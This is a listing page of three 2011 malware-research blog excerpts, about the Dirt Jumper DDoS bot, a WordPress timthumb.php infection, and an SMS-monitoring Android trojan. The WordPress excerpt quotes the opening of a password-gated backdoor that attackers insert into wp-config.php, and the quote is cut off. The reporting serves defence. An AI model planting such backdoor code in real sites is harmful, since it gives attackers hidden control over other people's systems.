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Dirt Jumper Caught in the Act

17

Aug

2011

Background In late July 2011, a specific piece of malware came to our attention. Analysis revealed that this particular piece of malware was launching DDoS attacks and we have direct evidence of DDoS attack on two Russian websites. One of these was a gaming website, the other involved in selling a popular smartphone. Further research […]

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Update to the Superpuperdomain2.com malware

15

Aug

2011

Just a quick update to the Superpuperdomain2.com/Superpuperdomain.com malware infection that has been affecting thousands of WordPress sites with the vulnerable timthumb.php script. You can read more about it here: http://blog.sucuri.net/2011/08/wordpress-sites-hacked-with-superpuperdomain2-com.html But now the attackers are also adding the following code to the wp-config.php of the hacked sites: if (isset($_GET[‘pingnow’])&& isset($_GET[‘pass’])){ if ($_GET[‘pass’] == ’66f041e16a60928b05a7e228a89c3799′){ if […]

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Trojanized Android App Checks for Keywords in SMS Messages

06

Aug

2011

Android malware monitoring for messages sent to an infected device from specific numbers is something that we’ve frequently seen in the past. This is typically done by malware to intercept messages from premium numbers, in order to prevent the user from suspecting a malware infection in their device. The Android malware we recently saw however […]

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